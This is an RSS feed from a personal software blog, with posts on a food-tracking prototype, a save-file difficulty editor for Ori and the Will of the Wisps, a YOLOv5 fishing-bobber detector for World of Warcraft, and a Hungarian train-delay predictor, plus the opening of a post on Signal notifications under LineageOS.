<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Roland Szabó</title><description>Computer Scientist, MSc</description><link>https://fuwari.vercel.app/</link><language>en</language><item><title>Food management proof of concept</title><link>https://fuwari.vercel.app/posts/food-management-proof-of-concept/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/food-management-proof-of-concept/</guid><description>A solution to keep track of inventory, favorite recipes, and macronutrient intake.</description><pubDate>Tue, 16 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;In 2024, my partner and I wanted to develop a household management solution to keep track of our inventory, favorite recipes, and macronutrient intake.&lt;/p&gt;
&lt;p&gt;We tried existing solutions, but they were too cluttered for our taste. We also wanted something easily customizable - this led to the creation of &lt;em&gt;Leltár&lt;/em&gt; (Hungarian for &quot;Inventory&quot;), a prototype food management application.&lt;/p&gt;
&lt;p&gt;In this article, I&apos;ll showcase the solution, share the lessons we learned that led us to stop using it after two months, and explore potential improvements for the future.&lt;/p&gt;
&lt;h2&gt;Model&lt;/h2&gt;
&lt;p&gt;First things first, we had to come up with an abstraction that would support the necessary calculations while also ensuring a good user experience.&lt;/p&gt;
&lt;h3&gt;Food&lt;/h3&gt;
&lt;p&gt;The lowest-level building block is called &lt;code&gt;Food&lt;/code&gt;. A &lt;code&gt;Food&lt;/code&gt; has a name and nutritional facts, including energy, fat, saturated fat, carbohydrates, sugars, protein, and salt. It can be a standalone food, like a hamburger, or an ingredient used as part of a &lt;code&gt;Recipe&lt;/code&gt; (see below).&lt;/p&gt;
&lt;p&gt;Each &lt;code&gt;Food&lt;/code&gt; can have its own units of measurement to simplify calculations and logging. While nutrition facts are generally provided per 100g of the consumable, we allow predefined weight aliases, such as &quot;bottle&quot; for soda or &quot;bag&quot; for pasta, to make tracking more straightforward.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./foods.png&quot; alt=&quot;foods&quot; title=&quot;Add food dialog&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Recipe&lt;/h3&gt;
&lt;p&gt;A &lt;code&gt;Recipe&lt;/code&gt; consists of one or more ingredient &lt;code&gt;Food&lt;/code&gt;s. The nutritional facts are automatically calculated based on the underlying &lt;code&gt;Food&lt;/code&gt;s used in the &lt;code&gt;Recipe&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Just like &lt;code&gt;Food&lt;/code&gt;s, each &lt;code&gt;Recipe&lt;/code&gt; can have its own units of measurement to accommodate different serving sizes or quantities.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./recipes.png&quot; alt=&quot;recipes&quot; title=&quot;Add recipe dialog&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Member&lt;/h3&gt;
&lt;p&gt;A &lt;code&gt;Member&lt;/code&gt; (of a household) has a name and optional daily nutrition goal targets. The daily nutrition facts for each member are summarized and displayed on a chart, and an AI-generated summary is provided as feedback based on their daily consumption.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./members.png&quot; alt=&quot;members&quot; title=&quot;Members table&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Meal&lt;/h3&gt;
&lt;p&gt;A &lt;code&gt;Meal&lt;/code&gt; consists of a name, start and end times, and is used to assign &lt;code&gt;LogEntry&lt;/code&gt;s to specific meals. The meal is automatically selected based on the current time, but &lt;code&gt;Member&lt;/code&gt;s have the option to override the automatic selection.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./meals.png&quot; alt=&quot;meals&quot; title=&quot;Meals table&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;LogEntry&lt;/h3&gt;
&lt;p&gt;Each time a &lt;code&gt;Member&lt;/code&gt; eats something, they create a new &lt;code&gt;LogEntry&lt;/code&gt;. A &lt;code&gt;LogEntry&lt;/code&gt; includes the date, &lt;code&gt;Meal&lt;/code&gt;, the &lt;code&gt;Recipe&lt;/code&gt; or &lt;code&gt;Food&lt;/code&gt; consumed, and a list of &lt;code&gt;Member&lt;/code&gt;s who participated in the meal. The consumed amount is recorded either in raw grams or using a predefined unit of measurement for each &lt;code&gt;Member&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./log_entry.png&quot; alt=&quot;log_entry&quot; title=&quot;Add log entry dialog&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Container&lt;/h3&gt;
&lt;p&gt;To determine the actual weight of a consumed meal, one needs to subtract the weight of the empty container. Since this process can be cumbersome, we introduced a &lt;code&gt;Container&lt;/code&gt; entity. A &lt;code&gt;Container&lt;/code&gt; has a name and a predefined weight, allowing users to select it when logging entries, making the process more convenient.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./containers.png&quot; alt=&quot;containers&quot; title=&quot;Add container dialog&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Activity&lt;/h3&gt;
&lt;p&gt;Calories can add up quickly without considering any physical &lt;code&gt;Activity&lt;/code&gt; a user may have performed. To account for this, a &lt;code&gt;Member&lt;/code&gt; can log the energy they burned during activities, which is then subtracted from their daily totals.&lt;/p&gt;
&lt;p&gt;In the proof of concept (PoC), &lt;code&gt;Activity&lt;/code&gt; data is automatically synced from &lt;a href=&quot;https://strava.com&quot;&gt;Strava&lt;/a&gt;, making tracking more seamless.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./activities.png&quot; alt=&quot;activities&quot; title=&quot;Add activity dialog&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Technology stack&lt;/h2&gt;
&lt;p&gt;The frontend was built using Svelte, while the backend was implemented with FastAPI, using the following PostgreSQL database:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./er-diagram.svg&quot; alt=&quot;er_diagram&quot; title=&quot;Entity–relationship diagram of the food management application&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Pain points&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Manual data entry
&lt;ul&gt;
&lt;li&gt;Nutrition facts had to be entered manually, making the application painful to use until the food &amp;amp; recipe database was populated.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Lack of reliable nutrition data
&lt;ul&gt;
&lt;li&gt;Some foods (e.g. fresh vegetables from a local farmer&apos;s market) don&apos;t have nutrition facts on the packaging, requiring users to look up data from external sources, which are sometimes contradictory.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Measuring every portion
&lt;ul&gt;
&lt;li&gt;While weighing portions works well for single-dish meals, it becomes cumbersome for multi-component meals like rice, sauce, and pickles.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Cooking adjustments
&lt;ul&gt;
&lt;li&gt;Measuring everything precisely in advance is difficult since cooking often requires adding small extra amounts of ingredients later on.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Improvement Ideas&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Use OCR to scan nutrition facts
&lt;ul&gt;
&lt;li&gt;Nutrition labels in the EU follow a standardized format, making this a viable solution.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Search in external nutrition databases
&lt;ul&gt;
&lt;li&gt;A purpose-built search engine using web scraping could enhance the in-app experience for foods having no nutrition facts available on the packaging&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Introduce a &lt;code&gt;Household&lt;/code&gt; entity
&lt;ul&gt;
&lt;li&gt;It would allow multi-user collaboration and could serve as a tenant structure in a multi-tenant B2C SaaS model.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Track inventory
&lt;ul&gt;
&lt;li&gt;Monitor available ingredients and update stock automatically when food is logged.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Automated shopping list
&lt;ul&gt;
&lt;li&gt;Generate a shopping list based on depleted ingredients.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Custom fields
&lt;ul&gt;
&lt;li&gt;Allow users to define custom fields beyond standard nutrition facts to support personalized tracking needs.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Developing and using the application was a fun and insightful experience, but ease of use remained a challenge. Over the two-month experiment, we gained a deeper understanding of our eating habits and we were able to analyze the food we cooked. These learnings will be valuable in the future, making the overall PoC a success.&lt;/p&gt;
&lt;p&gt;We also identified several potential improvements, which we may revisit in the future to refine and enhance the solution.&lt;/p&gt;
</content:encoded></item><item><title>Ori and the Will of the Wisps difficulty changer</title><link>https://fuwari.vercel.app/posts/ori-wotw-difficulty-changer/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/ori-wotw-difficulty-changer/</guid><description>Bosses are too hard, but you don&apos;t want to restart the game from the beginning? Look no further!</description><pubDate>Tue, 27 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Ori and the Will of the Wisps is a platform-adventure video game. In this particular game, unlike the previous version, you cannot change the level of difficulty once you have started playing. The only way to adjust the difficulty is by starting the game again from the very beginning, which means you would lose all the progress you have made so far.&lt;/p&gt;
&lt;p&gt;Having already spent a good 10 hours exploring the areas and fighting the different bosses, I found myself face to face with my nemesis, &lt;a href=&quot;https://oriandtheblindforest.fandom.com/wiki/Mora&quot;&gt;Mora&lt;/a&gt;, the giant spider. I came across multiple complaints online regarding this fight, and I even looked up guides on how to defeat this boss, but unfortunately, none of them were helpful. The only realistic way for me to proceed was to set the difficulty to easy.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./mora.jpg&quot; alt=&quot;mora&quot; title=&quot;Mora, the giant spider&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Instead of starting the game all over again, I wanted to modify my existing save file - unfortunately, I couldn&apos;t find any available editors online having this feature, therefore I decided to create my custom editor for modifying the difficulty.&lt;/p&gt;
&lt;h2&gt;Risks&lt;/h2&gt;
&lt;p&gt;Before starting the implementation, I&apos;ve identified the following risks, which would mean that implementing the difficulty changer would be infeasible, and simply restarting the game would be a lot more efficient.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The save files are encrypted, compressed or obfuscated.&lt;/li&gt;
&lt;li&gt;The difficulty variable is protected by a hash or a checksum.&lt;/li&gt;
&lt;li&gt;The implementation takes more than 10 hours.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Analysis&lt;/h2&gt;
&lt;p&gt;I began my analysis by starting a new game on all 3 difficulties. I collected the resulting save files from &lt;code&gt;C:\Users\&amp;lt;user&amp;gt;\AppData\Local\Ori and the Will of The Wisps&lt;/code&gt;, and then implemented a heuristic solution for finding the offset where the difficulty is stored.&lt;/p&gt;
&lt;p&gt;I assumed that the difficulty must be an enum, which has consecutive numeric values, and this value increases as the difficulty increase, such as:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Difficulty(enum.Enum):
  Easy = 0
  Medium = 1
  Hard = 2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I implemented the following function, which takes the 3 save files that were previously collected, and compares them byte-by-byte. If there is an index such that the value in the easy file is exactly one less than the value in the medium file, which is exactly one less than the value in the hard file, we get an offset matching our assumption.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def get_possible_difficulty_offsets(
    easy_bytes: bytes, medium_bytes: bytes, hard_bytes: bytes
) -&amp;gt; list[int]:
    data = zip(easy_bytes, medium_bytes, hard_bytes)

    return [
        i
        for i, (easy_byte, medium_byte, hard_byte) in enumerate(data)
        if hard_byte - medium_byte == medium_byte - easy_byte == 1
    ]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The function returns three offsets: &lt;code&gt;0x145F&lt;/code&gt;, &lt;code&gt;0x1463&lt;/code&gt; and &lt;code&gt;0x279C&lt;/code&gt;.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Save file difficulty&lt;/th&gt;
&lt;th&gt;Value at 0x145F&lt;/th&gt;
&lt;th&gt;Value at 0x1463&lt;/th&gt;
&lt;th&gt;Value at 0x279C&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Easy&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hard&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;By looking at the values, we can conclude that they all match the assumption, and they seem to be a good indicator of the difficulty to which the files belong.&lt;/p&gt;
&lt;h2&gt;Getting the difficulty of a save file&lt;/h2&gt;
&lt;p&gt;The difficulty of a save file can be determined by obtaining the values at the previously determined offsets and comparing them to the difficulty enum, such as:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def maybe_get_difficulty(
    save_bytes: bytes, offsets: list[int] | None = None
) -&amp;gt; Difficulty | None:
    if offsets is None:
        offsets = DEFAULT_DIFFICULTY_OFFSETS

    values = [save_bytes[offset] for offset in offsets]

    for difficulty in Difficulty:
        if all(x == difficulty.game_value for x in values):
            return difficulty

    return None
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Setting the difficulty of a save file&lt;/h2&gt;
&lt;p&gt;Similarly, we can modify the byte values at the previously determined offsets:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def change_difficulty(
    save_bytes: bytes, difficulty: Difficulty, offsets: list[int] | None = None
) -&amp;gt; bytes:
    if offsets is None:
        offsets = DEFAULT_DIFFICULTY_OFFSETS

    save_bytes_array = bytearray(save_bytes)

    for offset in offsets:
        save_bytes_array[offset] = difficulty.game_value

    return bytes(save_bytes_array)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;CLI&lt;/h2&gt;
&lt;p&gt;I also created a CLI, which is capable of changing the difficulty in save files. The targeted platform is Windows, but it should work on all major operating systems.&lt;/p&gt;
&lt;p&gt;::github{repo=&quot;rolandsz/Ori-WotW-difficulty-changer&quot;}&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./result.jpg&quot; alt=&quot;result&quot; title=&quot;The modified save files are properly loaded&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Available functionality&lt;/h3&gt;
&lt;h4&gt;Get difficulty of a save file&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; poetry run py main.py get-difficulty --path &quot;C:\Users\&amp;lt;user&amp;gt;\AppData\Local\Ori and the Will of The Wisps\saveFile0.uberstate&quot;
Difficulty: Medium
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Set difficulty of a save file&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; poetry run py main.py set-difficulty --path &quot;C:\Users\&amp;lt;user&amp;gt;\AppData\Local\Ori and the Will of The Wisps\saveFile0.uberstate&quot; --difficulty easy
Is the current difficulty &apos;medium&apos;? [y/N]: y
Is the desired difficulty &apos;easy&apos;? [y/N]: y
Creating backup C:\Users\&amp;lt;user&amp;gt;\AppData\Local\Ori and the Will of The Wisps\saveFile0.uberstate.bak.1687803860
Patching file C:\Users\&amp;lt;user&amp;gt;\AppData\Local\Ori and the Will of The Wisps\saveFile0.uberstate
Done
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Re-calculate offsets&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; poetry run py main.py find-difficulty-offsets --easy-path &quot;./tests/save_files/saveFile_easy.uberstate&quot; --medium-path &quot;./tests/save_files/saveFile_medium.uberstate&quot; --hard-path &quot;./tests/save_files/saveFile_hard.uberstate&quot;
Found possible difficulty offset: 0x145F
Found possible difficulty offset: 0x1463
Found possible difficulty offset: 0x279C
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Fishing in World of Warcraft using YOLOv5</title><link>https://fuwari.vercel.app/posts/fishing-in-world-of-warcraft-using-yolov5/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/fishing-in-world-of-warcraft-using-yolov5/</guid><description>Solving the fishing minigame in World of Warcraft by using object detection.</description><pubDate>Sun, 30 Jan 2022 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Fishing in World of Warcraft is a secondary profession, which can be very lucrative but on the other hand, is very time-consuming and boring. It allows adventurers to fish various objects, primarily fish and other water-bound creatures, from water, lava, and even liquid mercury. (&lt;a href=&quot;https://wowpedia.fandom.com/wiki/Fishing&quot;&gt;Wowpedia&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;The mechanics of the minigame are really simple:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Learn the fishing skill from one of the fishing trainers.&lt;/li&gt;
&lt;li&gt;Equip a fishing pole.&lt;/li&gt;
&lt;li&gt;Find a body of water.&lt;/li&gt;
&lt;li&gt;Cast fishing.&lt;/li&gt;
&lt;li&gt;Wait for the catch.&lt;/li&gt;
&lt;li&gt;Click on the bobber.&lt;/li&gt;
&lt;li&gt;Loot the fish.&lt;/li&gt;
&lt;li&gt;Go to step 4.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In this article, I&apos;m assuming that the character has already learned the skill, has the proper equipment, and is facing a body of water.&lt;/p&gt;
&lt;h2&gt;Overview&lt;/h2&gt;
&lt;p&gt;To solve steps 4-8, I came up with the following flowchart:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./flowchart.png&quot; alt=&quot;flowchart&quot; title=&quot;Flowchart of the solution&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The flow starts by casting the fishing spell, which can be achieved by sending a key press event to the main game window. In order to simplify things, we&apos;ll assume that the cast is always successful for now.&lt;/p&gt;
&lt;p&gt;In the next state, we need to observe the state of the appearing bobber by taking and analyzing screenshots.&lt;/p&gt;
&lt;p&gt;If there is no catch in the screenshot, we take another one, otherwise, we calculate the bounding box of the bobber and send a mouse click event to the main game window.&lt;/p&gt;
&lt;p&gt;Clicking the bobber will trigger the auto-loot mechanism which stores the fish in the bag automatically and another fishing spell can be cast.&lt;/p&gt;
&lt;p&gt;There is always a possibility that something goes wrong (e.g another character obfuscates the view or the fishing spell cast fails). If there was no catch in the past 21 seconds, then the flow can be restarted by casting fishing again.&lt;/p&gt;
&lt;h2&gt;What&apos;s the catch?&lt;/h2&gt;
&lt;p&gt;The implementation of the core logic with libraries such as &lt;a href=&quot;https://pypi.org/project/PyAutoGUI/&quot;&gt;pyautogui&lt;/a&gt;, is straightforward. However, identifying a catch is not that simple, and we need to have a function that takes a screenshot as the input and returns whether it contains a catch or not. For this task, I used &lt;a href=&quot;https://github.com/ultralytics/yolov5&quot;&gt;YOLOv5&lt;/a&gt; and followed their tutorial on &lt;a href=&quot;https://github.com/ultralytics/yolov5/wiki/Train-Custom-Data&quot;&gt;training custom data&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Datasets&lt;/h2&gt;
&lt;p&gt;I created two datasets with the principle that the same location (body of water) cannot appear in both of them. I manually annotated these images with &lt;a href=&quot;https://github.com/tzutalin/labelImg&quot;&gt;LabelImg&lt;/a&gt;. The dataset contains images for both bobbers and splashes with different water colors, lighting conditions, and so on.&lt;/p&gt;
&lt;p&gt;The configuration for the 2 classes are as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;path: data/fishnet
train: train
val: val

nc: 2
names: [&quot;bobber&quot;, &quot;splash&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Train dataset&lt;/h3&gt;
&lt;p&gt;I started gathering training data while leveling fishing with my character in low-level zones. There are 140 screenshots in the dataset, some examples are:&lt;/p&gt;
&lt;h4&gt;Durotar&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;./durotar_bobber.jpg&quot; alt=&quot;durotar_bobber&quot; title=&quot;Subset of the train dataset for Durotar (bobber class)&quot; /&gt;
&lt;img src=&quot;./durotar_splash.jpg&quot; alt=&quot;durotar_splash&quot; title=&quot;Subset of the train dataset for Durotar (splash class)&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Ratchet&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;./ratchet_bobber.jpg&quot; alt=&quot;ratchet_bobber&quot; title=&quot;Subset of the train dataset for Ratchet (bobber class)&quot; /&gt;
&lt;img src=&quot;./ratchet_splash.jpg&quot; alt=&quot;ratchet_splash&quot; title=&quot;Subset of the train dataset for Ratchet (splash class)&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Stonetalon Mountains&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;./stonetalon_mountains_bobber.jpg&quot; alt=&quot;stonetalon_mountains_bobber&quot; title=&quot;Subset of the train dataset for Stonetalon Mountains (bobber class)&quot; /&gt;
&lt;img src=&quot;./stonetalon_mountains_splash.jpg&quot; alt=&quot;stonetalon_mountains_splash&quot; title=&quot;Subset of the train dataset for Stonetalon Mountains (splash class)&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Zangarmarsh&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;./zangarmarsh_bobber.jpg&quot; alt=&quot;zangarmarsh_bobber&quot; title=&quot;Subset of the train dataset for Zangarmarsh (bobber class)&quot; /&gt;
&lt;img src=&quot;./zangarmarsh_splash.jpg&quot; alt=&quot;zangarmarsh_splash&quot; title=&quot;Subset of the train dataset for Zangarmarsh (splash class)&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Validation dataset&lt;/h3&gt;
&lt;p&gt;The validation dataset contains screenshots of bobbers and splashes taken in the capitals. There are 24 screenshots in the dataset, some examples taken in Orgrimmar:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./orgrimmar_bobber.jpg&quot; alt=&quot;orgrimmar_bobber&quot; title=&quot;Subset of the train dataset for Orgrimmar (bobber class)&quot; /&gt;
&lt;img src=&quot;./orgrimmar_splash.jpg&quot; alt=&quot;orgrimmar_splash&quot; title=&quot;Subset of the train dataset for Orgrimmar (splash class)&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Example model outputs:
&lt;img src=&quot;./orgrimmar_pred.png&quot; alt=&quot;orgrimmar_pred&quot; title=&quot;Example output of the model&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;The resulting model is capable of identifying bounding boxes in real-time with good precision and recall, even with a very small train dataset.
&lt;img src=&quot;./results.png&quot; alt=&quot;results&quot; title=&quot;Results of the model training&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The model would make it possible to implement an automated way of fishing in World of Warcraft, which I do not endorse or recommend, as it can lead to account suspension. Please use this article only for educational purposes.&lt;/p&gt;
</content:encoded></item><item><title>Mennyit Késik?</title><link>https://fuwari.vercel.app/posts/mennyit-kesik/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/mennyit-kesik/</guid><description>Band-aiding the train delay problem in Hungary with a machine learning solution.</description><pubDate>Sat, 20 Nov 2021 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;A year ago, I posted an &lt;a href=&quot;/posts/collection-of-railway-traffic-data/&quot;&gt;article&lt;/a&gt; about the collection of railway traffic data in Hungary, and now it is time to develop a machine learning model and an application based on the gathered data.&lt;/p&gt;
&lt;p&gt;The name of the solution is &lt;a href=&quot;https://mennyitkesik.hu&quot;&gt;Mennyit Késik?&lt;/a&gt;, which translates to &quot;How late it is?&quot; in English. It is capable of predicting delays up to 60 minutes in advance for each suburban train and the predictions are displayed in an interactive map.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./mk-screenshot-1.png&quot; alt=&quot;application-screenshot-1&quot; title=&quot;Screenshot of the interactive map&quot; /&gt;
&lt;img src=&quot;./mk-screenshot-2.png&quot; alt=&quot;application-screenshot-2&quot; title=&quot;Screenshot of the delay predictions for a selected train&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Architecture&lt;/h2&gt;
&lt;p&gt;The solution consists of the following main building blocks:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Data collection&lt;/li&gt;
&lt;li&gt;Data storage&lt;/li&gt;
&lt;li&gt;Data processing&lt;/li&gt;
&lt;li&gt;Hyperparameter optimization and model training&lt;/li&gt;
&lt;li&gt;Model execution&lt;/li&gt;
&lt;li&gt;Application backend&lt;/li&gt;
&lt;li&gt;Application frontend&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Data collection&lt;/h3&gt;
&lt;p&gt;The first step is a collection of lambda functions integrated with multiple data sources. These functions run on a fixed-size VPS, as it does not need to scale. The details of the data collection can be found in a &lt;a href=&quot;/posts/collection-of-railway-traffic-data/&quot;&gt;previous article&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Data storage&lt;/h3&gt;
&lt;p&gt;On the same VPS there is a &lt;a href=&quot;https://min.io/&quot;&gt;MinIO&lt;/a&gt; instance running, which is an S3 compatible object storage. The collected data are stored in a MinIO bucket, and they are aggregated and compressed daily using a lambda function to save space.&lt;/p&gt;
&lt;h3&gt;Data processing&lt;/h3&gt;
&lt;p&gt;To create a maintainable data pipeline, I started the project with QuantumBlack Labs&apos; &lt;a href=&quot;https://github.com/quantumblacklabs/kedro&quot;&gt;kedro&lt;/a&gt; framework. Kedro is an open-source Python framework for creating reproducible, maintainable, and modular data science code. It borrows concepts from software engineering and applies them to machine-learning code.&lt;/p&gt;
&lt;p&gt;The pipeline starts by preprocessing the data available in the MinIO bucket, then proceeds to cleaning, feature extraction, and model input generation.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./kedro-up-until-cleaning.png&quot; alt=&quot;kedro-cleaning&quot; title=&quot;Visualization of the kedro pipeline up until cleaning of the data&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Hyperparameter optimization and model training&lt;/h3&gt;
&lt;p&gt;For each train, a distinct &lt;a href=&quot;https://github.com/microsoft/LightGBM&quot;&gt;LightGBM&lt;/a&gt; model is trained. The input of the model consists of both auxiliary and time-series features. The hyperparameter optimization uses the &lt;a href=&quot;https://hyperopt.github.io/hyperopt/&quot;&gt;hyperopt&lt;/a&gt; library, and the calculated hyperparameters are stored in a MinIO bucket, which can be reused for subsequent pipeline runs. By using the calculated hyperparameters, the models are trained with all available data and are stored in a MinIO bucket.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./kedro-up-until-training.png&quot; alt=&quot;kedro-training&quot; title=&quot;Visualization of the kedro pipeline up until training of the models&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Model execution&lt;/h3&gt;
&lt;p&gt;The trained models are executed each time new data becomes available and the results are stored in a MongoDB database.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./kedro-up-until-predictions.png&quot; alt=&quot;kedro-integration&quot; title=&quot;Visualization of the kedro pipeline up until prediction&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Application backend&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://api.mennyitkesik.hu/&quot;&gt;backend of the solution&lt;/a&gt; is a &lt;a href=&quot;https://nestjs.com/&quot;&gt;NestJS&lt;/a&gt; application running on Heroku, and its main purpose is to serve the predictions to the frontend as they are found in the MongoDB database. It is completely independent from the core application logic, and it can be scaled as the number of users increase.&lt;/p&gt;
&lt;h3&gt;Application frontend&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://mennyitkesik.hu&quot;&gt;frontend of the solution&lt;/a&gt;  is a simple &lt;a href=&quot;https://nextjs.org/&quot;&gt;Next.js&lt;/a&gt; application consisting of a map, which visualizes the predictions for the end-users.&lt;/p&gt;
</content:encoded></item><item><title>Fix delayed Signal notifications on LineageOS 18.1</title><link>https://fuwari.vercel.app/posts/fix-signal-notifications-on-lineage-os-18-1/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/fix-signal-notifications-on-lineage-os-18-1/</guid><description>A quick fix for the delayed notifications encountered by many users.</description><pubDate>Sun, 02 May 2021 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;One of the most frequently encountered issues for new &lt;a href=&quot;https://www.signal.org/&quot;&gt;Signal&lt;/a&gt; users are the delayed notifications. There is an &lt;a href=&quot;https://support.signal.org/hc/en-us/articles/360007318711-Troubleshooting-Notifications&quot;&gt;official article&lt;/a&gt; for troubleshooting notifications and Signal is also actively collecting &lt;a href=&quot;https://community.signalusers.org/t/help-needed-share-an-android-bug-report-to-help-debug-notifications/27739&quot;&gt;user feedbacks&lt;/a&gt; with which they can find the root cause of the problem for the different devices. Unfortunately, custom ROMs are out of scope and the effort is restricted to stock Android ROMs.&lt;/p&gt;
&lt;h2&gt;Problem&lt;/h2&gt;
&lt;p&gt;When I installed &lt;a href=&quot;https://lineageos.org/&quot;&gt;LineageOS&lt;/a&gt; 18.1 for the first time, I realized that Signal notifications are only received when the screen is turned on. I turned off battery optimizations and background restrictions for the application, but the problem still persisted.&lt;/p&gt;
&lt;h2&gt;Investigation&lt;/h2&gt;
